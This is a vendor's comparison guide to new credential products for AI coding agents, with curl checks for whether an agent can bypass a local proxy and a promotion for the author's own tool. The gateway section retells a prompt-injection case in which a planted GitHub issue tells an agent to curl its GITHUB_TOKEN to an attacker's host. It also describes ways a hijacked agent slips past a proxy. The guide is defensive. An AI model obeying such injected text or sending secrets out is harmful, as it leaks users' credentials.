GUIDE · COMPARISON 10 min ·

October's agent credential launches, comparedWhat works for a coding agent today

Four vendors moved on agent credentials within three weeks, and most of what they announced will not sit in front of a coding agent on your laptop today. Ask each product where the secret lives when the agent uses it, and what a hijacked agent can still do. A local proxy only counts as a control if the network blocks the route around it.

TL;DR· the answer, in twenty seconds

What happened: Between October 15 and November 3, HashiCorp, 1Password, Google and Infisical shipped, announced or redirected agent credential products. Infisical's README now says its standalone Agent Vault is no longer recommended, personal projects included.

The minimum fix: For a coding agent on a laptop today, keep keys out of the agent's ambient environment, pass them only to the command that needs them, and run the egress checks in this guide before you trust any proxy.

The lesson: Ask where the secret sits when the agent uses it, and what a hijacked agent can still do. Those two answers separate these products better than their launch posts do.

Between October 15 and November 3, HashiCorp, 1Password, Google and Infisical all shipped, announced or redirected an agent credential product, and most of it will not sit in front of a coding agent on your laptop today.

The direction is clear enough that practitioners have started naming it. Cindy Sridharan wrote on X in October that the secure proxy route "seems to be a popular pattern" after reading Google's post. Vinay Thakker of KloudStax gave Help Net Security the blunter version on November 2: "Never hand an agent a long-lived secret." The harder question is what you can install this week, and the launch posts don't answer it.

This comparison comes from vendor posts, documentation, release notes and one GitHub repository, read on November 4. We did not run Vault Enterprise, Infisical's hosted product, 1Password for Agents or anything from Google, so treat each security property below as the vendor's claim. The curl checks later in the guide are the only part we tested. The last table row is our own product, described from its 1.0.48 CLI help.

The launches side by side

Product Status on November 4 Where the secret sits What the agent gets Coding agent on your laptop?
1Password for Agents Launched October 22. Individual and Family accounts on 1Password.com Your vault, then the extension in a cloud browser A signed-in site, after you approve No coding CLI in the launch list
1Password op run Shipping Your vault, then the child process The value as env vars for that subprocess, with output masked by default Yes
1Password Credential Broker Public preview since July 28, for Enterprise Password Manager Business Your vault, then the workload for one job The value for the length of the job No. GitHub Actions came first, custom OIDC is in beta
Vault Agentic IAM Enterprise feature. GA in 2.1.0 on September 1, current minor 2.2 Vault server A JWT-authorized read of what policy allows Only if you run Vault Enterprise
Google Agent Compute Engine Announced October 22. Preview "in the coming months" Off-node Agent Gateway A short-lived SPIFFE identity that can't call a backend on its own No
Infisical Agent Vault Product inside Infisical. Standalone repo no longer recommended A proxy that runs apart from the agent A session token Claude Code can use it through HTTPS_PROXY. The guides we found target sandboxes and Kubernetes
hasp 1.0.48 shipping Encrypted vault on the agent's host The value in the child's env or a temp file, for one command, with child output redacted Yes, on macOS and Linux. It does not gate the network

Two entries need footnotes.

The Vault dates conflict across sources. HashiCorp's release notes mark Agentic IAM generally available in 2.1.0, released September 1, and 2.2.0 followed on October 15. Start with Identity's report on IBM's October 27 announcement frames it as Vault 2.2 going GA for agents. We did not read an IBM primary page. If you are planning an upgrade, trust the release notes. HashiCorp's changelog also lists Agentic IAM terms in client licensing, so ask your account team how registered agents count before you budget.

Google announced two more pieces that matter more to this audience than Agent Compute Engine does. Agent Substrate is an open-source runtime on GKE that you can try now. Google says its egress proxies inject credentials out of the agent's reach, and it names Claude Code as a supported harness. Google also lists "Governance for local agents on endpoints" for coding agents including Claude Code on managed devices, with an OS-level sandbox, "in preview soon." That second item is the one to track if your company manages your laptop. It has no date.

Three places to put the secret

Every row above picks one of three positions, and each position leaves a hijacked agent with different powers.

Fill at the site

1Password for Agents works at the login form. The agent reaches a sign-in page and asks for a credential. You approve on your device, and the extension in the cloud browser fills the form. 1Password says the agent never sees the password or the one-time code.

The agent still ends up holding a logged-in session, so a hijacked agent can do whatever that session allows until it ends. That is our reading of the design. 1Password also says availability and capabilities vary by partner integration, so check the one you plan to use.

This position fits an assistant that books travel. It does nothing for the STRIPE_SECRET_KEY your test suite reads, and no coding CLI appears among the launch integrations. The same 1Password post points developers at op run and shell plug-ins, and at Privileged Access for "local AI agents" that need administrative access to infrastructure.

Swap at a gateway

Infisical and Google both keep the credential on the far side of a proxy. The agent holds a session token or a short-lived identity, and the proxy attaches the real value to requests that policy allows.

Infisical's docs walk through an injected GitHub issue that tells the agent to run curl -H "X-Session-Verify: $GITHUB_TOKEN" against an attacker's host. With a token in the environment, the attacker receives it. Behind the proxy, the variable expands to nothing and the proxy attaches nothing to a host outside the access bundle.

Google's technical post goes further on the boundary. Guests get no standard network interface, so traffic has to cross to a local proxy and then an off-node gateway, which checks user delegation, agent identity and node identity before it applies egress and data-loss policy and swaps in the credential. Google's rationale is the most honest sentence in any of these launches. On a hidden instruction in an email: "Most of the time, it ignores the instruction. Sometimes it does not."

A gateway stops theft of the key and leaves its use open. Thakker's line: "A proxy doesn't remove an agent's authority. It concentrates it." He calls a proxy that attaches credentials to any request "a confused deputy," and he notes that a plain GET to an approved host can carry stolen data in its query string. A commenter on the Agent Vault launch thread raised two more holes: an OAuth refresh endpoint can return a new token in its response body, straight to the agent, and a proxy can attach a credential to an endpoint that never needed one.

Infisical's mitigations are limits on methods and paths for each API, plus session logs. Revocation takes effect at the next check with Infisical, every 60 seconds by default, so budget for up to a minute of continued use after you pull a session.

Deliver to the process

Vault, op run, Credential Broker and local brokers all release the real value to a process once policy says yes. After that, the value exists in that process's memory.

Vault has the most detailed policy story. HashiCorp's announcement post describes authorization as the intersection of the human owner's policies, the agent's baseline policies and ceiling policies, which it calls an "absolute blast radius." A JWT can narrow that further per request through an authorization_details claim, down to a specific secret in a KV mount. All of it decides what the agent may read. None of it governs where the value goes next.

op run masks secrets in stdout and stderr by default, which keeps them out of a transcript. Masking does nothing about a child process that posts the value to a remote host. 1Password concedes that the scoped Service Account token used for non-interactive runs is a "bootstrap credential" that "still needs to be protected."

Thakker has a line for the local version of this design: "a vault on the same host as the agent hasn't protected the secret, only moved it." That applies to op run on an unlocked laptop, and to the last row of our table. Per-command delivery keeps the value out of your shell profile, your config files and the agent's own environment, and it limits the value to one command's lifetime. A hijacked agent can still ask to run a command with that secret, so the consent prompt and the grant length are what stand in its way. Pick short grants.

What changed for Agent Vault on November 3

A November 3 commit to the Agent Vault README says the open-source project is "no longer the recommended way to run Agent Vault for any use case, including personal projects." New setups go to Agent Vault inside Infisical. The repository isn't archived, and its latest release is v0.40.2 from October 22. On October 26, Infisical announced a $40 million Series B at a $600 million valuation and said it would "significantly increase our focus on Agent Vault."

This site has two guides that describe the standalone binary: the May credential proxy walkthrough and the April agent vault comparison. Both predate this change. Their local setup remains a useful way to learn the mechanism, but it is now a path the vendor tells you to leave.

The replacement changes the shape of the commitment. The quickstart needs an Infisical organization and calls the API as a machine identity. The overview addresses agents "you run in your own infrastructure," with guides for Modal, Daytona, E2B, Kubernetes and containers. We found no laptop recipe in the pages we read, and we did not check pricing.

Two facts from the standalone docs apply to any proxy you run near your agent. The README says requests that match no service forward as plain proxy traffic by default, and you have to set unmatched_host_policy=deny to get a 403. It also says to deploy the binary on a separate machine from the agents. And Infisical's April launch post concedes the main limit of the mechanism: HTTPS_PROXY guides compliant clients, "the agent can unset it," and in a full deployment "the network must be locked down." On a laptop, nothing does that unless you set it up.

Test what your agent can reach

Run these from inside the agent's shell tool, since its environment can differ from your terminal's.

# 1. Names only. Do not print values into an agent transcript.
env | grep -Ei 'token|key|secret|proxy' | cut -d= -f1

# 2. Does your proxy refuse a host outside its allowlist?
curl -sS -m 10 -o /dev/null \
  -w 'code=%{http_code} connect=%{http_connect}\n' https://example.com

# 3. Can the agent walk around the proxy?
curl --noproxy '*' -sS -m 10 -o /dev/null \
  -w 'direct=%{http_code}\n' https://example.com

# 4. Who signed the certificate the agent sees?
curl -sv -m 10 -o /dev/null https://api.github.com 2>&1 | grep -i issuer

We ran all four on macOS with curl 8.7.1 on November 4, using a throwaway local stub that answered every CONNECT with a 403. It was a few lines of Python, and no product from the table was involved.

Check 1 gives you a list of names to chase. Look up each value yourself, outside the agent. A session token counts as a credential too, because anything in the process tree can spend it through the proxy.

Check 2 has a trap. Against the stub, curl exited 56 and printed code=000 connect=403. If you read only http_code, a proxy refusal looks like a network fault, which is why the format string prints both. A proxy that terminates TLS may answer some other way, so read the response you get.

Check 3 is the one that matters. With the stub still refusing everything, this command printed direct=200. The proxy did its job and the request left anyway. Any HTTP status here means the agent can reach the internet without the proxy, whatever the proxy's policy says. A pass looks like a connection failure, and getting one takes a firewall rule, a sandbox or a separate network namespace.

Check 4 tells you whether anything is intercepting TLS. With no proxy set, we saw a public Sectigo issuer. Behind a TLS-terminating proxy you should see that proxy's CA, though we did not run this against a real intercepting product.

After those four, repeat Infisical's example against your own setup. Stand up a host you control, ask the agent to send a canary variable to it in a header, and look at what arrives.

Which one fits which job

For a coding agent on your own laptop today, per-command delivery is what you can install this afternoon. Use op run if your team already pays for 1Password, or a local broker if it doesn't. Add a proxy only when something forces traffic through it, such as a container whose only route out is the proxy.

Agents in sandboxes or on Kubernetes run on a network you own, and that makes the gateway position real. Agent Vault in Infisical and Agent Substrate both fit here. Set the deny policy for unmatched hosts and limit each API to the paths the task needs.

Teams that already run Vault Enterprise and build their own agents get delegation and attribution from Agentic IAM, in a system their auditors already read. Pair it with egress control, because a released value is still a value in the agent's memory.

A personal assistant that signs in to websites is the job 1Password for Agents addresses. Confirm your agent is in the available list, since 1Password still lists several partners as coming soon.

On Google Cloud, wait for the preview of Agent Compute Engine or try Agent Substrate on GKE. Don't plan a quarter around a preview with no date.

What this means for your stack

Run the four checks today. If check 1 turns up a long-lived key, move it to per-command delivery. If check 3 prints a status code, stop counting your proxy as a control until the network blocks the route around it.

Two separate controls cover this category: one decides whether the agent can hold the secret, and the other decides where its traffic can go. Each product above handles part of that, and none of the ones you can install today handles both on a laptop without help from the operating system or the network.

hasp is one working implementation of per-command delivery, with the same-host limit described above. Once hasp setup has walked you through adding the key, hasp run --project-root . --env OPENAI_API_KEY=@OPENAI_API_KEY -- npm test hands the key to that one test run and leaves the agent's shell without it. Source-available (FCL-1.0), local-first, macOS and Linux, no account.

Rerun the checks whenever you swap tools or update the agent, because a new version can change which variables it reads and which proxy settings it honors. No launch post can tell you what curl --noproxy '*' returns on your machine.

Sources· cited above, in one place

NEXT STEP~90 seconds

Stop handing the agent your real keys.

hasp keeps secrets in one local encrypted vault, brokers them into the child process at exec, and never lets the agent read the value.

  • Local, encrypted vault — no account, no cloud, no telemetry by default.
  • Brokered run — agent gets a reference, the child process gets the value.
  • Pre-commit + pre-push hooks catch managed values before they ship.
  • Append-only HMAC audit log answers "did the agent touch the prod token?" in seconds.
→ okvault unlocked · binding ./api
→ okgrant once · pid 88421
→ okagent never read

macOS & Linux. Source-available (FCL-1.0, converts to Apache 2.0). No account.

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